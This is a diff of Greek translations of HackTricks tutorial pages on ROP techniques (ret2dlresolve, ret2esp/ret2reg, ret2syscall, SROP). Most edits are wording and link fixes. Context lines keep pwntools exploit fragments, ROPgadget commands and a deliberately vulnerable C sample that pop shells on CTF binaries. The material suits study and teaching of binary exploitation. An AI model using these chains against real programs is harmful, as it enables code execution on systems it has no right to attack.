+> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, αλλά απλώς καλεί μια συνάρτηση που ονομάζεται **`win`** (λαμβάνοντας τη διεύθυνση του `win` από το stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με ένα τρίτο επιχείρημα με την τιμή `0xdeadbeefcafed00d`.
 
 ### Παράκαμψη της κλήσης και προσέγγιση του ret
 
@@ -165,8 +165,8 @@ payload += ret2win
 target.sendline(payload)
 target.interactive()
 ```
-### Γιατί να μην χρησιμοποιήσετε απευθείας το libc;
+### Γιατί να μην χρησιμοποιήσετε απευθείας τη libc;
 
-Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στο libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή**.
+Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στη libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή**.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md

@@ -4,16 +4,16 @@
 
 ## Basic Information
 
-Όπως εξηγείται στη σελίδα σχετικά με [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά αρχεία χωρίς Full Relro θα επιλύσουν σύμβολα (όπως διευθύνσεις σε εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση συμβαίνει καλώντας τη συνάρτηση **`_dl_runtime_resolve`**.
+Όπως εξηγείται στη σελίδα για το [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και το [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά αρχεία χωρίς Full Relro θα επιλύσουν σύμβολα (όπως διευθύνσεις σε εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση συμβαίνει καλώντας τη συνάρτηση **`_dl_runtime_resolve`**.
 
 Η συνάρτηση **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε κάποιες δομές που χρειάζεται για να **επιλύσει** το καθορισμένο σύμβολο.
 
-Επομένως, είναι δυνατό να **ψευδοποιηθούν όλες αυτές οι δομές** για να κάνει η δυναμική σύνδεση την επίλυση του ζητούμενου συμβόλου (όπως η συνάρτηση **`system`**) και να την καλέσει με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**).
+Επομένως, είναι δυνατό να **ψευδοποιηθούν όλες αυτές οι δομές** ώστε η δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η συνάρτηση **`system`**) και να την καλέσει με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**).
 
 Συνήθως, όλες αυτές οι δομές ψευδοποιούνται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`**, κάνοντάς την να **επιλύσει τη διεύθυνση του `system`** στις ψευδοποιημένες δομές και **καλώντας αυτή τη διεύθυνση** με τη διεύθυνση του `$'/bin/sh'`.
 
 > [!TIP]
-> Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν gadgets syscall (για να χρησιμοποιηθούν τεχνικές όπως [**ret2syscall**](rop-syscall-execv/) ή [SROP](srop-sigreturn-oriented-programming/)) και δεν υπάρχουν τρόποι να διαρρεύσουν διευθύνσεις libc.
+> Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν gadgets syscall (για να χρησιμοποιηθούν τεχνικές όπως [**ret2syscall**](rop-syscall-execv/index.html) ή [SROP](srop-sigreturn-oriented-programming/index.html)) και δεν υπάρχουν τρόποι να διαρρεύσουν διευθύνσεις libc.
 
 Δείτε αυτό το βίντεο για μια ωραία εξήγηση σχετικά με αυτή την τεχνική στο δεύτερο μισό του βίντεο:
 
@@ -29,7 +29,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
 ## Attack Summary
 
 1. Γράψτε ψευδείς δομές σε κάποια τοποθεσία
-2. Ρυθμίστε το πρώτο επιχείρημα του system (`$rdi = &'/bin/sh'`)
+2. Ρυθμίστε το πρώτο επιχείρημα της `system` (`$rdi = &'/bin/sh'`)
 3. Ρυθμίστε στη στοίβα τις διευθύνσεις στις δομές για να καλέσετε **`_dl_runtime_resolve`**
 4. **Καλέστε** `_dl_runtime_resolve`
 5. **`system`** θα επιλυθεί και θα κληθεί με `'/bin/sh'` ως επιχείρημα
@@ -56,7 +56,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
 ```
 ## Παράδειγμα
 
-### Καθαρά Pwntools
+### Καθαρό Pwntools
 
 Μπορείτε να βρείτε ένα [**παράδειγμα αυτής της τεχνικής εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **που περιέχει μια πολύ καλή εξήγηση της τελικής αλυσίδας ROP**, αλλά εδώ είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε:
 ```python
@@ -80,7 +80,7 @@ p.sendline(dlresolve.payload)    # now the read is called and we pass all the re
 
 p.interactive()
 ```
-### Ακατέργαστο
+### Ωμός
 ```python
 # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
 # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@@ -188,6 +188,6 @@ target.interactive()
 - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
 - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
 - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
-- 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασικό μικρό buffer overflow και επιστροφή. Για να το εκμεταλλευτεί, το bof χρησιμοποιείται για να καλέσει ξανά το `read` με μια ενότητα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, να επιστρέψει στο main και να επαναχρησιμοποιήσει το αρχικό bof για να καλέσει το dlresolve και στη συνέχεια `system('/bin/sh')`.
+- 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασική μικρή υπερχείλιση buffer και επιστροφή. Για να το εκμεταλλευτεί, η bof χρησιμοποιείται για να καλέσει ξανά το `read` με μια ενότητα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, επιστρέφει στο main και επαναχρησιμοποιεί την αρχική bof για να καλέσει το dlresolve και στη συνέχεια `system('/bin/sh')`.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md

@@ -6,9 +6,9 @@
 
 **Επειδή ο ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας**, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας **`jmp esp`** ή **`call esp`** εντολής. Κάνοντας αυτό, ο κώδικας shell τοποθετείται ακριβώς μετά την αντικατεστημένη EIP. Όταν εκτελείται η εντολή `ret`, ο ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που είναι αποθηκευμένος ο κώδικας shell.
 
-Αν **Η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** δεν είναι ενεργοποιημένη σε Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές `jmp esp` ή `call esp` που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ενεργό, μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Αν **η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** δεν είναι ενεργοποιημένη σε Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές `jmp esp` ή `call esp` που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με την [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ενεργή, μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
 
-Επιπλέον, η δυνατότητα τοποθέτησης του κώδικα shell **μετά την καταστροφή του EIP**, αντί να είναι στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές `push` ή `pop` που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν θα παρεμβαίνουν στον κώδικα shell. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο κώδικας shell τοποθετούνταν στη μέση της στοίβας της συνάρτησης.
+Επιπλέον, η δυνατότητα τοποθέτησης του κώδικα shell **μετά την καταστροφή του EIP**, αντί στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές `push` ή `pop` που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν θα παρεμβαίνουν στον κώδικα shell. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο κώδικας shell τοποθετούνταν στη μέση της στοίβας της συνάρτησης.
 
 ### Έλλειψη χώρου
 
@@ -86,7 +86,7 @@ target.interactive()
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
 - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
-- **`strcpy`** θα αποθηκεύσει στο **`eax`** τη διεύθυνση του buffer όπου ήταν αποθηκευμένο το shellcode και **`eax`** δεν επαναγράφεται, οπότε είναι δυνατό να χρησιμοποιηθεί ένα `ret2eax`.
+- **`strcpy`** θα αποθηκεύσει στο **`eax`** τη διεύθυνση του buffer όπου ήταν αποθηκευμένο το shellcode και **`eax`** δεν επαναγράφεται, οπότε είναι δυνατή η χρήση ενός `ret2eax`.
 
 ## ARM64
 
@@ -108,9 +108,9 @@ done
 ```bash
 ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
 ```
-Στην ARM64, είναι **`x0`** που αποθηκεύει την τιμή επιστροφής μιας συνάρτησης, οπότε θα μπορούσε να είναι ότι το x0 αποθηκεύει τη διεύθυνση ενός buffer που ελέγχεται από τον χρήστη με ένα shellcode για εκτέλεση.
+Στην ARM64, είναι το **`x0`** που αποθηκεύει την τιμή επιστροφής μιας συνάρτησης, οπότε θα μπορούσε να είναι ότι το x0 αποθηκεύει τη διεύθυνση ενός buffer που ελέγχεται από τον χρήστη με ένα shellcode για εκτέλεση.
 
-Example code:
+Παράδειγμα κώδικα:
 ```c
 // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
 
@@ -135,15 +135,15 @@ do_stuff(2)
 return 0;
 }
 ```
-Ελέγχοντας την αποσυναρμολόγηση της συνάρτησης, είναι δυνατόν να δούμε ότι η **διεύθυνση του buffer** (ευάλωτη σε bof και **ελεγχόμενη από τον χρήστη**) είναι **αποθηκευμένη στο `x0`** πριν επιστρέψει από την υπερχείλιση buffer:
+Ελέγχοντας την αποσυναρμολόγηση της συνάρτησης, είναι δυνατόν να δούμε ότι η **διεύθυνση προς το buffer** (ευάλωτο σε bof και **ελεγχόμενο από τον χρήστη**) είναι **αποθηκευμένη στο `x0`** πριν επιστρέψει από την υπερχείλιση buffer:
 
 <figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
 
-Είναι επίσης δυνατόν να βρούμε το gadget **`br x0`** στη συνάρτηση **`do_stuff`**:
+Είναι επίσης δυνατό να βρούμε το gadget **`br x0`** στη συνάρτηση **`do_stuff`**:
 
 <figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
 
-Θα χρησιμοποιήσουμε αυτό το gadget για να κάνουμε άλμα σε αυτό, επειδή το δυαδικό είναι μεταγλωττισμένο **ΧΩΡΙΣ PIE.** Χρησιμοποιώντας ένα μοτίβο, είναι δυνατόν να δούμε ότι η **απόσταση της υπερχείλισης buffer είναι 80**, οπότε η εκμετάλλευση θα είναι:
+Θα χρησιμοποιήσουμε αυτό το gadget για να κάνουμε άλμα σε αυτό γιατί το δυαδικό είναι μεταγλωττισμένο **ΧΩΡΙΣ PIE.** Χρησιμοποιώντας ένα μοτίβο, είναι δυνατόν να δούμε ότι η **απόσταση της υπερχείλισης buffer είναι 80**, οπότε η εκμετάλλευση θα είναι:
 ```python
 from pwn import *
 
@@ -159,15 +159,15 @@ p.sendline(payload)
 p.interactive()
 ```
 > [!WARNING]
-> Αντί για `fgets` χρησιμοποιήθηκε κάτι όπως **`read`**, θα ήταν δυνατό να παρακαμφθεί το PIE απλά **υπεργράφοντας τα τελευταία 2 bytes της διεύθυνσης επιστροφής** για να επιστρέψει στην εντολή `br x0;` χωρίς να χρειάζεται να γνωρίζουμε τη συνολική διεύθυνση.\
+> Αντί για `fgets` χρησιμοποιούνταν κάτι όπως **`read`**, θα ήταν δυνατό να παρακαμφθεί το PIE απλά **υπεργράφοντας τα τελευταία 2 bytes της διεύθυνσης επιστροφής** για να επιστρέψει στην εντολή `br x0;` χωρίς να χρειάζεται να γνωρίζουμε τη συνολική διεύθυνση.\
 > Με το `fgets` δεν λειτουργεί γιατί **προσθέτει ένα null (0x00) byte στο τέλος**.
 
-## Protections
+## Προστασίες
 
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Αν η στοίβα δεν είναι εκτελέσιμη, αυτό δεν θα βοηθήσει καθώς πρέπει να τοποθετήσουμε το shellcode στη στοίβα και να κάνουμε jump για να το εκτελέσουμε.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump σε esp ή οποιοδήποτε άλλο register.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump σε esp ή οποιοδήποτε άλλο register.
 
-## References
+## Αναφορές
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
 - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)

src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md

@@ -13,10 +13,10 @@
 - `rsi: 0 specify no arguments passed`
 - `rdx: 0 specify no environment variables passed`
 
-Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη την padding που απαιτείται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή.
+Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη την padding που χρειάζεται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή.
 
 > [!TIP]
-> Ένα άλλο ενδιαφέρον syscall που μπορεί να καλέσει είναι το **`mprotect`** το οποίο θα επιτρέπει σε έναν επιτιθέμενο να **τροποποιήσει τις άδειες μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
+> Ένα άλλο ενδιαφέρον syscall για κλήση είναι το **`mprotect`** το οποίο θα επέτρεπε σε έναν επιτιθέμενο να **τροποποιήσει τις άδειες μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
 
 ## Register gadgets
 
@@ -43,9 +43,9 @@ Start              End                Offset             Perm Path
 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
 ```
-### Γράψτε συμβολοσειρά στη μνήμη
+### Γράψτε Συμβολοσειρά στη μνήμη
 
-Στη συνέχεια, πρέπει να βρείτε έναν τρόπο να γράψετε αυθαίρετο περιεχόμενο σε αυτή τη διεύθυνση
+Τότε πρέπει να βρείτε έναν τρόπο να γράψετε αυθαίρετο περιεχόμενο σε αυτή τη διεύθυνση
 ```python
 ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
 mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
@@ -94,7 +94,7 @@ rop += popRax
 rop += p64(0x6b6000) # Writable memory
 rop += writeGadget #Address to: mov qword ptr [rax], rdx
 ```
-## Έλλειψη Gadgets
+## Lacking Gadgets
 
 Αν **λείπουν gadgets**, για παράδειγμα για να γράψετε `/bin/sh` στη μνήμη, μπορείτε να χρησιμοποιήσετε την **τεχνική SROP για να ελέγξετε όλες τις τιμές των καταχωρητών** (συμπεριλαμβανομένων των RIP και των καταχωρητών παραμέτρων) από τη στοίβα:
 
@@ -102,7 +102,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
 ../srop-sigreturn-oriented-programming/
 {{#endref}}
 
-## Παράδειγμα Εκμετάλλευσης
+## Exploit Example
 ```python
 from pwn import *
 

src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md

@@ -6,12 +6,12 @@
 
 **`Sigreturn`** είναι μια ειδική **syscall** που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα.
 
-Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το πλαίσιο στοίβας (το τμήμα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
+Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** του σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το stack frame (την ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
 
-Το ενδιαφέρον μέρος είναι πώς το **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στη στοίβα.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` αφαιρεί αυτές τις τιμές από τη στοίβα**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση τους πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στοίβας (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή της στοίβας.
+Το ενδιαφέρον μέρος είναι πώς το **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στο stack.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` αφαιρεί αυτές τις τιμές από το stack**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη stack (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή του stack.
 
 > [!CAUTION]
-> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στη **στοίβα** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`.
+> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στο **stack** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`.
 
 Σημειώστε πώς αυτό θα ήταν μια **τύπου Ret2syscall** που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls:
 
@@ -19,7 +19,7 @@
 ../rop-syscall-execv/
 {{#endref}}
 
-Αν σας ενδιαφέρει, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στη στοίβα για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
+Αν είστε περίεργοι, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στο stack για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
 ```
 +--------------------+--------------------+
 | rt_sigeturn()      | uc_flags           |
@@ -55,7 +55,7 @@
 | __reserved         | sigmask            |
 +--------------------+--------------------+
 ```
-Για μια καλύτερη εξήγηση ελέγξτε επίσης:
+Για μια καλύτερη εξήγηση, ελέγξτε επίσης:
 
 {{#ref}}
 https://youtu.be/ADULSwnQs-s?feature=shared
@@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
 
 ## Παράδειγμα
 
-Μπορείτε να [**βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή `0xf`), αν και αυτό είναι το τελικό exploit από εκεί:
+Μπορείτε να [**βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή `0xf`), αν και αυτή είναι η τελική εκμετάλλευση από εκεί:
 ```python
 from pwn import *
 
@@ -128,14 +128,14 @@ target.interactive()
 - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
 - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
 - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
-- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που βρίσκεται μέσα στη μνήμη του binary.
+- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί την **`sigreturn`** syscall. Είναι δυνατόν να γραφεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/index.html) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που βρίσκεται στη μνήμη του binary.
 - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
-- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** (το binary έχει τη συμβολοσειρά `/bin/sh`).
+- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί την **`sigreturn`** syscall. Είναι δυνατόν να γραφεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/index.html) μέσω μιας δομής **sigreturn** (το binary έχει τη συμβολοσειρά `/bin/sh`).
 - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
-- 64 bits, no relro, no canary, nx, no pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία `gets` με έλλειψη gadgets που εκτελεί ένα [**ret2syscall**](../rop-syscall-execv/). Η αλυσίδα ROP γράφει `/bin/sh` στο `.bss` καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία **`alarm`** για να ορίσει το eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα shell.
+- 64 bits, no relro, no canary, nx, no pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία `gets` με έλλειψη gadgets που εκτελεί ένα [**ret2syscall**](../rop-syscall-execv/index.html). Η αλυσίδα ROP γράφει `/bin/sh` στο `.bss` καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία **`alarm`** για να ορίσει το eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα shell.
 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
-- 64 bits assembly πρόγραμμα, no relro, no canary, nx, no pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελεγχθούν αρκετοί καταχωρητές και να κληθεί ένα syscall και στη συνέχεια καλεί `exit`. Το επιλεγμένο syscall είναι ένα `sigreturn` που θα ορίσει τους καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το `memprotect` για να ορίσει τον χώρο του binary σε `rwx` και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode να το γράψει ως την επόμενη εντολή και να το εκτελέσει.
+- 64 bits assembly πρόγραμμα, no relro, no canary, nx, no pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελεγχθούν αρκετοί καταχωρητές και να κληθεί μια syscall και στη συνέχεια καλεί `exit`. Η επιλεγμένη syscall είναι μια `sigreturn` που θα ορίσει τους καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το `memprotect` για να ορίσει τον χώρο του binary σε `rwx` και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode να το γράψει ως την επόμενη εντολή και να το εκτελέσει.
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
